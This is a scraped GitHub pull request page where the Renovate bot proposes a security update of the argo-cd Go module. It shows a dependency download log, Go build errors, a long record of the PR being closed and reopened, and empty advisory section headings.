go: downloading github.com/gosimple/slug v1.14.0
go: downloading github.com/imdario/mergo v0.3.16
go: downloading github.com/jeremywohl/flatten v1.0.1
go: downloading k8s.io/api v0.29.6
go: downloading k8s.io/apimachinery v0.29.6
go: downloading k8s.io/client-go v0.29.6
go: downloading sigs.k8s.io/yaml v1.4.0
go: downloading github.com/Masterminds/sprig/v3 v3.3.0
go: downloading github.com/valyala/fasttemplate v1.2.2
go: downloading k8s.io/klog/v2 v2.130.1
go: downloading github.com/argoproj/gitops-engine v0.7.1-0.20250521000818-c08b0a72c1f1
go: downloading github.com/gobwas/glob v0.2.3
go: downloading github.com/gogo/protobuf v1.3.2
go: downloading github.com/google/go-cmp v0.6.0
go: downloading github.com/robfig/cron/v3 v3.0.1
go: downloading google.golang.org/grpc v1.68.1
go: downloading k8s.io/apiextensions-apiserver v0.29.6
go: downloading k8s.io/kube-openapi v0.0.0-20240228011516-70dd3763d340
go: downloading github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
go: downloading google.golang.org/protobuf v1.35.2
go: downloading github.com/r3labs/diff v1.1.0
go: downloading golang.org/x/sys v0.32.0
go: downloading github.com/evanphx/json-patch/v5 v5.9.0
go: downloading github.com/evanphx/json-patch v5.9.0+incompatible
go: downloading gopkg.in/evanphx/json-patch.v4 v4.12.0
go: downloading k8s.io/utils v0.0.0-20240711033017-18e509b52bc8
go: downloading github.com/Khan/genqlient v0.7.0
go: downloading github.com/vektah/gqlparser/v2 v2.5.16
go: downloading go.opentelemetry.io/otel v1.33.0
go: downloading go.opentelemetry.io/otel/trace v1.33.0
go: downloading github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc
go: downloading github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2
go: downloading github.com/inconshreveable/mousetrap v1.1.0
go: downloading github.com/spf13/pflag v1.0.5
go: downloading github.com/MichaelTJones/walk v0.0.0-20161122175330-4748e29d5718
go: downloading github.com/mgutz/str v1.2.0
go: downloading golang.org/x/text v0.24.0
go: downloading code.gitea.io/sdk/gitea v0.19.0
go: downloading github.com/gfleury/go-bitbucket-v1 v0.0.0-20220301131131-8e7ed04b843e
go: downloading github.com/google/go-github/v66 v66.0.0
go: downloading github.com/hashicorp/go-retryablehttp v0.7.7
go: downloading github.com/ktrysmt/go-bitbucket v0.9.81
go: downloading github.com/microsoft/azure-devops-go-api/azuredevops v1.0.0-b5
go: downloading github.com/xanzy/go-gitlab v0.114.0
go: downloading golang.org/x/oauth2 v0.24.0
go: downloading github.com/aws/aws-sdk-go v1.55.5
go: downloading github.com/google/uuid v1.6.0
go: downloading golang.org/x/exp v0.0.0-20241108190413-2d47ceb2692f
go: downloading github.com/redis/go-redis/v9 v9.7.3
go: downloading github.com/argoproj/pkg v0.13.7-0.20230626144333-d56162821bd1
go: downloading github.com/gosimple/unidecode v1.0.1
go: downloading github.com/google/gofuzz v1.2.0
go: downloading dario.cat/mergo v1.0.1
go: downloading github.com/Masterminds/goutils v1.1.1
go: downloading github.com/Masterminds/semver/v3 v3.3.1
go: downloading github.com/huandu/xstrings v1.5.0
go: downloading github.com/mitchellh/copystructure v1.2.0
go: downloading github.com/shopspring/decimal v1.4.0
go: downloading github.com/spf13/cast v1.7.0
go: downloading golang.org/x/crypto v0.37.0
go: downloading github.com/go-logr/logr v1.4.2
go: downloading github.com/itchyny/gojq v0.12.17
go: downloading github.com/valyala/bytebufferpool v1.0.0
go: downloading gopkg.in/inf.v0 v0.9.1
go: downloading sigs.k8s.io/structured-merge-diff/v4 v4.4.4-0.20241211184406-7bf59b3d70ee
go: downloading github.com/bmatcuk/doublestar/v4 v4.7.1
go: downloading github.com/bradleyfalzon/ghinstallation/v2 v2.12.0
go: downloading github.com/go-git/go-git/v5 v5.13.2
go: downloading github.com/patrickmn/go-cache v2.1.0+incompatible
go: downloading oras.land/oras-go/v2 v2.5.0
go: downloading github.com/casbin/casbin/v2 v2.102.0
go: downloading github.com/casbin/govaluate v1.2.0
go: downloading github.com/golang-jwt/jwt/v4 v4.5.2
go: downloading k8s.io/kube-aggregator v0.29.6
go: downloading k8s.io/kubectl v0.29.6
go: downloading k8s.io/cli-runtime v0.29.6
go: downloading google.golang.org/genproto/googleapis/rpc v0.0.0-20241104194629-dd2ea8efbc28
go: downloading google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9
go: downloading golang.org/x/net v0.39.0
go: downloading golang.org/x/term v0.31.0
go: downloading github.com/emicklei/go-restful/v3 v3.11.0
go: downloading github.com/go-openapi/jsonreference v0.21.0
go: downloading github.com/go-openapi/swag v0.23.0
go: downloading github.com/google/gnostic-models v0.6.8
go: downloading github.com/grpc-ecosystem/grpc-gateway v1.16.0
go: downloading go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.56.0
go: downloading github.com/stretchr/objx v0.5.2
go: downloading sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd
go: downloading github.com/adrg/xdg v0.4.0
go: downloading github.com/mitchellh/go-homedir v1.1.0
go: downloading github.com/99designs/gqlgen v0.17.49
go: downloading go.opentelemetry.io/otel/metric v1.33.0
go: downloading gopkg.in/yaml.v3 v3.0.1
go: downloading github.com/davidmz/go-pageant v1.0.2
go: downloading github.com/go-fed/httpsig v1.1.0
go: downloading github.com/hashicorp/go-version v1.6.0
go: downloading github.com/mitchellh/mapstructure v1.5.0
go: downloading github.com/google/go-querystring v1.1.0
go: downloading github.com/hashicorp/go-cleanhttp v0.5.2
go: downloading golang.org/x/time v0.8.0
go: downloading github.com/cespare/xxhash/v2 v2.3.0
go: downloading github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f
go: downloading github.com/golang/protobuf v1.5.4
go: downloading github.com/mitchellh/reflectwalk v1.0.2
go: downloading k8s.io/kubernetes v1.31.0
go: downloading github.com/itchyny/timefmt-go v0.1.6
go: downloading github.com/dlclark/regexp2 v1.11.4
go: downloading github.com/json-iterator/go v1.1.12
go: downloading github.com/ProtonMail/go-crypto v1.1.5
go: downloading github.com/go-git/go-billy/v5 v5.6.2
go: downloading github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3
go: downloading github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da
go: downloading github.com/kevinburke/ssh_config v1.2.0
go: downloading github.com/skeema/knownhosts v1.3.0
go: downloading github.com/xanzy/ssh-agent v0.3.3
go: downloading github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99
go: downloading cloud.google.com/go/compute/metadata v0.5.0
go: downloading github.com/go-redis/cache/v9 v9.0.0
go: downloading github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
go: downloading github.com/cyphar/filepath-securejoin v0.3.6
go: downloading github.com/opencontainers/go-digest v1.0.0
go: downloading github.com/opencontainers/image-spec v1.1.0
go: downloading github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de
go: downloading github.com/moby/term v0.5.0
go: downloading sigs.k8s.io/kustomize/api v0.17.2
go: downloading sigs.k8s.io/kustomize/kyaml v0.17.1
go: downloading github.com/jonboulle/clockwork v0.2.2
go: downloading k8s.io/component-base v0.29.6
go: downloading k8s.io/component-helpers v0.29.6
go: downloading github.com/go-openapi/jsonpointer v0.21.0
go: downloading github.com/mailru/easyjson v0.7.7
go: downloading google.golang.org/genproto/googleapis/api v0.0.0-20241104194629-dd2ea8efbc28
go: downloading github.com/bombsimon/logrusr/v2 v2.0.1
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.0.0-20240518090000-14441aefdf88
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.3.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.32.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.32.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.27.0
go: downloading go.opentelemetry.io/otel/log v0.3.0
go: downloading go.opentelemetry.io/otel/sdk v1.33.0
go: downloading go.opentelemetry.io/otel/sdk/log v0.3.0
go: downloading go.opentelemetry.io/proto/otlp v1.3.1
go: downloading github.com/sosodev/duration v1.3.1
go: downloading github.com/go-logr/stdr v1.2.2
go: downloading go.opentelemetry.io/auto/sdk v1.1.0
go: downloading github.com/jmespath/go-jmespath v0.4.0
go: downloading github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd
go: downloading github.com/modern-go/reflect2 v1.0.2
go: downloading github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376
go: downloading github.com/pjbgf/sha1cd v0.3.2
go: downloading github.com/emirpasic/gods v1.18.1
go: downloading github.com/Microsoft/go-winio v0.6.1
go: downloading github.com/klauspost/compress v1.17.9
go: downloading github.com/vmihailenco/go-tinylfu v0.2.2
go: downloading github.com/vmihailenco/msgpack/v5 v5.3.4
go: downloading github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79
go: downloading github.com/peterbourgon/diskv v2.0.1+incompatible
go: downloading github.com/chai2010/gettext-go v1.0.2
go: downloading github.com/MakeNowJust/heredoc v1.0.0
go: downloading github.com/mitchellh/go-wordwrap v1.0.1
go: downloading github.com/russross/blackfriday/v2 v2.1.0
go: downloading github.com/exponent-io/jsonpath v0.0.0-20151013193312-d6023ce2651d
go: downloading github.com/fatih/camelcase v1.0.0
go: downloading github.com/josharian/intern v1.0.0
go: downloading github.com/moby/spdystream v0.4.0
go: downloading github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822
go: downloading k8s.io/apiserver v0.29.6
go: downloading github.com/cloudflare/circl v1.3.7
go: downloading gopkg.in/warnings.v0 v0.1.2
go: downloading golang.org/x/tools v0.27.0
go: downloading github.com/vmihailenco/tagparser/v2 v2.0.0
go: downloading github.com/google/btree v1.1.3
go: downloading github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1
go: downloading github.com/blang/semver/v4 v4.0.0
go: downloading github.com/go-errors/errors v1.4.2
go: downloading github.com/fvbommel/sortorder v1.1.0
go: downloading github.com/gorilla/websocket v1.5.3
go: downloading github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f
go: downloading github.com/cenkalti/backoff/v4 v4.3.0
go: downloading github.com/grpc-ecosystem/grpc-gateway/v2 v2.23.0
go: downloading github.com/distribution/reference v0.5.0
go: downloading github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00
go: downloading github.com/xlab/treeprint v1.2.0
go: downloading github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
go: downloading golang.org/x/mod v0.22.0
go: downloading go.starlark.net v0.0.0-20230525235612-a134d8f9ddca
go: downloading github.com/prometheus/client_golang v1.20.5
go: downloading github.com/prometheus/client_model v0.6.1
go: downloading github.com/prometheus/procfs v0.15.1
go: downloading github.com/beorn7/perks v1.0.1
go: downloading github.com/prometheus/common v0.55.0
go: github.com/puzzle/goff/argocd imports
	github.com/argoproj/argo-cd/v2/util/argo imports
	github.com/argoproj/argo-cd/v2/pkg/client/clientset/versioned/typed/application/v1alpha1 imports
	k8s.io/client-go/gentype: cannot find module providing package k8s.io/client-go/gentype
go: github.com/puzzle/goff/argocd imports
	github.com/argoproj/argo-cd/v2/applicationset/utils imports
	github.com/argoproj/argo-cd/v2/util/argo/diff imports
	github.com/argoproj/gitops-engine/pkg/utils/kube/scheme imports
	k8s.io/kubernetes/pkg/apis/coordination/install imports
	k8s.io/kubernetes/pkg/apis/coordination/v1alpha1 imports
	k8s.io/api/coordination/v1alpha1: cannot find module providing package k8s.io/api/coordination/v1alpha1
go: github.com/puzzle/goff/argocd imports
	github.com/argoproj/argo-cd/v2/applicationset/utils imports
	github.com/argoproj/argo-cd/v2/util/argo/diff imports
	github.com/argoproj/gitops-engine/pkg/utils/kube/scheme imports
	k8s.io/kubernetes/pkg/apis/apps/install imports
	k8s.io/kubernetes/pkg/apis/apps/v1 imports
	k8s.io/kubernetes/pkg/features imports
	k8s.io/client-go/features: cannot find module providing package k8s.io/client-go/features

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Feb 6, 2025

renovate bot closed this Feb 6, 2025

renovate bot deleted the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch February 6, 2025 17:38

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Feb 6, 2025

renovate bot reopened this Feb 6, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 39fcd97 to b1c5fc9 Compare February 6, 2025 21:47

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Feb 10, 2025

renovate bot closed this Feb 10, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Feb 11, 2025

renovate bot reopened this Feb 11, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from e053e89 to b1c5fc9 Compare February 11, 2025 00:39

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Feb 20, 2025

renovate bot closed this Feb 20, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Feb 20, 2025

renovate bot reopened this Feb 20, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from baee4d7 to b1c5fc9 Compare February 20, 2025 21:35

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Feb 21, 2025

renovate bot closed this Feb 21, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Feb 21, 2025

renovate bot reopened this Feb 21, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from d217627 to b1c5fc9 Compare February 21, 2025 18:38

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Feb 26, 2025

renovate bot closed this Feb 26, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Feb 26, 2025

renovate bot reopened this Feb 26, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 7766848 to b1c5fc9 Compare February 26, 2025 23:11

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Mar 2, 2025

renovate bot closed this Mar 2, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Mar 2, 2025

renovate bot closed this Mar 13, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Mar 13, 2025

renovate bot reopened this Mar 13, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Mar 19, 2025

renovate bot closed this Mar 19, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Mar 19, 2025

renovate bot reopened this Mar 19, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Mar 21, 2025

renovate bot closed this Mar 21, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Mar 21, 2025

renovate bot reopened this Mar 21, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 9764023 to b1c5fc9 Compare March 21, 2025 19:25

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Apr 2, 2025

renovate bot closed this Apr 2, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Apr 2, 2025

renovate bot reopened this Apr 2, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Apr 22, 2025

renovate bot closed this Apr 22, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Apr 22, 2025

renovate bot reopened this Apr 22, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 9ac0d81 to b1c5fc9 Compare April 22, 2025 17:03

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Apr 24, 2025

renovate bot closed this Apr 24, 2025

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] Apr 24, 2025

renovate bot reopened this Apr 24, 2025

renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 4dc406b to b1c5fc9 Compare April 24, 2025 22:30

renovate bot changed the title ~~Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY]~~ Update module github.com/argoproj/argo-cd/v2 to v2.12.10 [SECURITY] - autoclosed Apr 29, 2025

renovate bot closed this Apr 29, 2025

Update module github.com/argoproj/argo-cd/v2 to v2.14.20 [SECURITY]

bf89c56

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update module github.com/argoproj/argo-cd/v2 to v2.14.20 [SECURITY]#166

Update module github.com/argoproj/argo-cd/v2 to v2.14.20 [SECURITY]#166
renovate[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-argoproj-argo-cd-v2-vulnerability

renovate bot commented Jan 30, 2025 •

edited

Loading

Uh oh!

renovate bot commented Jan 30, 2025

Uh oh!

renovate bot commented May 28, 2025 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate bot commented Jan 30, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Impact

Patches

Workarounds

References

Severity

Impact

Patches

Workarounds

Credits

For more information

Severity

Summary

Details

Impact

Credits

Severity

Summary

Details

PoC

Mitigation

For more information

Credits

Severity

Summary

Details

PoC

Mitigation

For more information

Credit

Severity

Summary

Details

PoC

Mitigation

For more information

Credits

Severity

Release Notes

Quick Start

Non-HA:

HA:

Release Signatures and Provenance

Upgrading

Changelog

Bug fixes

Other work

Quick Start

Non-HA:

HA:

Release Signatures and Provenance

Upgrading

Changelog

Bug fixes

Other work

Quick Start

Non-HA:

HA:

Release Signatures and Provenance

Upgrading

Changelog

Bug fixes

Documentation

Other work

Quick Start

Non-HA:

HA:

Release Signatures and Provenance

Upgrading

Changelog

Quick Start

Use v2.14.17

Non-HA:

HA:

Release Signatures and Provenance

Upgrading

Changelog

renovate bot commented Jan 30, 2025 •

edited

Loading